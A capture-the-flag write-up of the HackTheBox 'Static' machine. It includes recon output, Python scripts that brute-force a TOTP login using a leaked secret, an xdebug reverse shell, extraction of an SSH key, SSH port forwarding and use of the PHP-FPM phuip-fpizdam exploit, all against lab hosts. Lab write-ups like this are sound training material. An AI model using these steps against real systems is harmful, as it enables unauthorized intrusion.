Initial recon

sudo nmap -T4 -oA fullNmap -A --version-all -Pn -p- 10.10.10.246

Nmap scan report for 10.10.10.246
Host is up (0.047s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
|   256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_  256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
|   256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_  256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

So we have 2 SSH ports, which is interesting and a single page on port 8080 - additionally we can see right now interesting paths from robots.txt file. Getting into it.

On the main page we don’t see any content - in path /.ftp_uploads/ there seem to be some database file and text file with warning Binary files are being corrupted during transfer!!! Check if are recoverable.. We could assume that this database file was uploaded without binary mode on FTP and thus it was corrupted. Need to get deeper into how exactly this mode break binary files and if it is reversible.

imgDirectory listing on path /.ftp_uploads/

VPN login doesn’t seem like anything interesting would be there at the first sight, so I guess retrieving the database data is our priority.

Exploiting Webapp

Retrieving SQL data

File db.sql.gz is legit gzipped file which contains database schema , it looks like it creates some user from what we can read as a plaintext.

Having in mind the warning text, gzip was probably broken when using FTP to transfer files and no binary mode was set. In that case, files that are transferred are broken - but how exactly?

It turns out ftp transfer without the binary mode performs one simple operation which ends up breaking most binary files. It replaces every newline character (Line feed [LF] - hex byte 0x0A) with “Windows style” newline (so called Carriage return Line feed [CRLF] - hex bytes 0x0D0A). So essentially every byte 0x0A is replaced by two bytes 0x0D and 0x0A. It is easy enough to replace this operation on any file and get original content back. In this case it could even be done manually with hex editor. I was too lazy so used the script i found here

You can see below differences in hexdump of both files (which we downloaded and fixed version) - it only differs in places where there is byte 0x0A. Notice in the original version it always follows byte 0x0D which we remove when fixing it.

imgHex dump of broken gz file

imgHex dump of fixed gz file

With that operation we have legitimate database schema with credentials.

CREATE DATABASE static;
  2 USE static;
  3 CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varc    har(40) not null, totp varchar(16) not null, primary key (id) );
  4 INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );

VPN login - generating TOTP

Password looks like a hash - checking it in public databases of cracked hashes like hashes.com we find that admin password is… admin.

Doesn’t look too inspiring - but after logging in it asks for totp code so at least we could not guess that one blindly.

However - here it is not that simple that we can just enter totp value and it works. The reason is that TOTP stands for Time-Based One Time password which is password changing over time. However its value is calculated from the base secret which we have stored in the database. So we simply need to read up how the token is generated for any given instance of time and create it ourselves.

Based on wikipedia - standard algorithm for TOTP is pretty simple. It is function of secret key and counter, which is calculated by taking the current linux timestamp divided by time window used. Function is one of standard hash methods like SHA1 by default. There are parameters that are flexible - time window interval when token is valid, Unix time start and length of the token. We can start with default ones and work our way further if needed.
imgWikipedia explanation of TOTP generation

As I am lazy person, I used first totp online generaton I found which has dynamic parameters so let’s test various combinations here. Unfortunately default parameters or some minor modification did not seem to work, so it’s time to code!

Wrote a quick script which uses python library to generate TOTP where attempted to find legitimate parameters. Tried to differ all sane parameters that generation of TOTP could rely on - thee include interval, number of digits in code and different digests used. Sending it over and over to the server and hoping something will work.

Script i baked up - checking valid code by checking content length is LAME but fastest way it should almost always work. I’ll be damned if this trips me up, one can hope.

import requests
import pyotp
import time
import hashlib

s = requests.session()
data = {"username":"admin","password":"admin","submit":"Login"}
digests = [hashlib.sha1, hashlib.sha224, hashlib.sha256, hashlib.sha384, hashlib.sha512, hashlib.blake2b, hashlib.blake2s]
for interval in range(1, 3600):
    print("Interval {}".format(interval))
    for digest in digests:
        for digit in range(4, 11):
            r = s.post("http://10.10.10.246:8080/vpn/login.php", data)

            #print(r.text)

            totp = pyotp.TOTP(s='orxxi4c7orxwwzlo', digest=digest, digits=digit, interval=interval)
            code = totp.now()
            data = {"code":code}
            print("Sending code {}".format(code))
            r = s.post("http://10.10.10.246:8080/vpn/login.php", data)
            if len(r.text) != 358:
                print("Working code: {} for params: interval:{} digits length:{}, digest:{}".format(code, interval, digit, digest))
                exit(0)

After running it for a while it seems obvious to not find proper values, so my next guess was that syncrhonization is probably off. With the information we have - it is kinda hard to get what amount of time we could be off. Protocol which would enable us to check that is NTP Network Time Protocol which is used for synchronizing time between computers. Let’s run UDP scan on that port then!

I also run nmap scripts in the same time which get the time amount with sudo nmap -p123 -sU 10.10.10.246 --script=clock-skew,ntp-info

Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-21 23:27 CEST
Nmap scan report for 10.10.10.246
Host is up (0.064s latency).

PORT    STATE SERVICE
123/udp open  ntp
| ntp-info:
|_  receive time stamp: 2021-07-21T21:40:26

Host script results:
|_clock-skew: 13m04s

Nmap done: 1 IP address (1 host up) scanned in 11.51 seconds

It seems we are off about 13 minutes from the time on the host. It would make sens our TOTP tokens would not work!
Let’s try the default parameters again but with the skew we observed, if this does not work we can get back to our brute-force.
Assuming skew of 13 minutes flat as reading from NTP can be normally off few seconds each way, nothing is perfect.

Our modified code - left comments to just check it modify it on-the fly and left parts if we needed to brute-force again.

import requests
import pyotp
import time
import hashlib

s = requests.session()
data = {"username":"admin","password":"admin","submit":"Login"}
digests = [hashlib.sha1, hashlib.sha224, hashlib.sha256, hashlib.sha384, hashlib.sha512, hashlib.blake2b, hashlib.blake2s]
#for interval in range(1, 3600):
#    print("Interval {}".format(interval))
#    for digest in digests:
#        for digit in range(4, 11):
r = s.post("http://10.10.10.246:8080/vpn/login.php", data)

#print(r.text)

totp = pyotp.TOTP(s='orxxi4c7orxwwzlo')
code = totp.at(int(time.time()) + 13 * 60)
data = {"code":code}
print("Sending code {}".format(code))
r = s.post("http://10.10.10.246:8080/vpn/login.php", data)
if len(r.text) != 358:
    print("WORKING")
    #    print("Working code: {} for params: interval:{} digits length:{}, digest:{}".format(code, interval, digit, digest))
    exit(0)

My first try - and it works! It’s a nice feeling that just a thought about how a challenge should work perfectly matches the reality.
imgSuccesful try!
imgPanel after logging in

Pivoting further

After entering anything into Common Name we receive OpenVPN config to download, which is generated using PHP as we see some error messages there. After deleting the errors and adding vpn.static.htb to hosts file pointing to address 10.10.10.246 it succesfully connects. Value which we enter as Common Name is just inserted as certificate Common Name. Will get to it later on if needed, but let’s recon the network here using addresses in the VPN panel to see what interesting is there.

While that is going on I noticed that whenever i insert space into the parameter we see interesting prompt error batch mode: /usr/bin/ersatool create|print|revoke CN. It looks like number of arguments does not match and PHP is executing shell script with our parameter CN. Normal injections using && and ;do not work. It seems to ignore all characters besides alphanumerics and spaces.

Meanwhile top1000 port scan across the VPN network finished and nothing interesting is there so very doubt there would be something when scanning across all ports. However, after that I inspected the routes that are created when using VPN. It turns out, there is a route to the networks 172.30.0.0/16 and 172.17.0.0/24. After manually adding routes for the rest of the addresses with sudo ip route add 172.20.0.0/24 via 172.30.0.1 dev tun9 and sudo ip route add 192.168.254.0/24 via 172.30.0.1 dev tun9 on the site we can find some services there after all!

Taking into consideration all services I scanned by doing quick top1000 scan - we have:

Host: 172.30.0.1 ()     Ports: 22/open/tcp//ssh//OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)/, 2222/open/tcp//ssh//OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Host: 172.20.0.10 ()    Ports: 22/open/tcp//ssh///, 80/open/tcp//http//
Host: 172.20.0.11 ()    Ports: 3306/open/tcp//mysql//

There does not seem to be any default password used on MySQL like root/root and it requires password for root user, so let’s look at the web service.

The next web

On service http://172.20.0.10 we have again a plain directory listing.
imgDirectory listing

VPN directory leads to exactly same panel as on the main host - there does not exist any difference on the first sight. However info.php file is interesting - but in my case had serious trouble getting it. No idea if this is some problem with multiple VPNs through OpenVPN or something other than that, but the file info.php was taking forever to load and never loaded.

The solution in my case was launching main HTB VPN through Windows and getting second VPN on my WSL-powered Linux then it worked without a problem. I could do it only because of my setup - but maybe on standard linux it would work out of the box? Anyway if anyone is struggling this is the solution for me.

When I could finally load the info.php file - it is kinda what we expect, so phpinfo() command executed.

Going through the environment variables and other interesting things in phpinfo() output there is nothing that pops out right away. However as it should have some purpose, I noticed an interesting module called xdebug. It helps with debugging PHP application. As this is the first time I encountered that one, quick google search tells us that if settings xdebug.remote_enable and xdebug.remote_connect_back are set to true - we can get it to connect to us and give us reverse shell! Getting through the options these seem to be enabled here, so off to the hacking.

imgXdebug module

I used PoC on github since we need to communicate using the debugging protocol to execute commands.

imgGetting reverse shell as www-data

Escalate to user

As a limited shell we can execute commands that read some data from the host, but cannot execute any command that does not return information. Maybe it could be improved by modifying the PoC, but we can notice the SSH key in /home/www-data/.ssh/id_rsa. Also a nice gift in the /home/ directory as there is user.txt flag waiting for us.

There is just a small inconvenience - it seems we are only able to read just a bit over 10 lines once at a time, so we cannot simply cat the private key. I used the simple way of splitting the data by using combination of head and tail commands. Reading data with sequentially:

head /home/www-data/.ssh/id_rsa
head -n 15  /home/www-data/.ssh/id_rsa | tail -n 6
head -n 20  /home/www-data/.ssh/id_rsa | tail -n 6
tail /home/www-data/.ssh/id_rsa

We can get parts of the key and glue it as we notice overriding parts.

imgSSH private key (truncated)

Using this key we can log in onto our host - but only on SSH on port 2222 on IP 10.10.10.246

To the root

First thing we can get from the sources on the host are database credentials. We already know that database is hosted on 172.20.0.11:3306 so we can check what is there.
Creds are root:2108@C00l and dbname is static.

Going through the databases - there are only credentials for the users that we already know and nothing more.

Running linpeas.sh script also did not return anything meaningful aside from the information we are inside a docker. Then I moved my attention to the script that was used to generate VPN config as we had inklings there could be some sort of command injection there.

Interesting snippet from /var/www/html/vpn/panel.php is

if(isset($_POST['cn'])){
    $cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_POST['cn']);
    header('Content-type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.$cn.'.ovpn"');
    $handle = curl_init();
    $url = "http://pki/?cn=".$cn;
    curl_setopt($handle, CURLOPT_URL, $url);
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
    $output = curl_exec($handle);
    curl_close($handle);
    echo $output;
    die();
}

It seems that our input is cleaned from non-alphanumeric characters in that step. So maybe, we are able to send some malicious input directly to the host and exploit this issue?

Fast testing shows that input is also validated on the target though, something worth a notice. Attempts on spawning staging meterpreter interestingly fail, seems like something is blocking it?

For further testing - I forwarded local port 80 to point to the 80 port on server PKI with ssh command sudo ssh www-data@10.10.10.246 -p 2222 -i id_rsa -L 127.0.0.1:80:192.168.254.3:80.

Going forward, I did basic port recon with python script to scan hosts inside the network if we see some extra ports, but none were found. The only avenue of the attack still seems to be the PKI host at IP 192.168.254.3. After confirming I cannot exploit the cn parameter I noticed the suspicious version of the PHP in the header - X-Powered-By: PHP-FPM/7.1. Digging a bit, there is a exploit on that version and even a metasploit module for that one. Check seems promising, so let’s go to the exploitation.

Metasploit module seemed to perform some actions but did not really work in my case. Instead I downloaded an original exploit from here. After running it with phuip-fpizdam http://127.0.0.1/index.php we can simply send requests with parameter a and it should execute our code!.

I doesn’t work every time but should after few retries. The vulnerability is fascinating in itself, recommend reading in detail about it.
imgWorking exploit with command execution

Here it would be nice to get a shell, looking briefly with the command through the system - it seems that is it just another docker instance with nothing interesting there besides the ersatool binary. We can confirm that the cn parameter was again sanitized on the server when looking at index.php content:

<?php
header('X-Powered-By: PHP-FPM/7.1');
//cn needs to be parsed!!!

$cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_GET['cn']);
echo passthru("/usr/bin/ersatool create ".$cn);
?>

Now I’m pretty sure this is the path to the root. Instead of getting a shell (which is slightly problematic as target cannot reach us directly), I just downloaded the ersatool using base64 linux command on the binary and decoding it locally. If this will be a miss, we can get into getting direct shell to the target to perform more reconnaisance.

Getting to the reversing then!

Reversing ersatool

Well - lost all the notes from the reversing of this one. However it was a fun ride with relatively simple format string exploit and enjoyed it a lot. One of the not-so-many binary exploitation at this time at HTB.

For now that will be all - but for special requests I could whip something up from IDA files and doing it anew. If you would like to see me write about it, ping me on twitter. Right now have no extra motivation for writing it.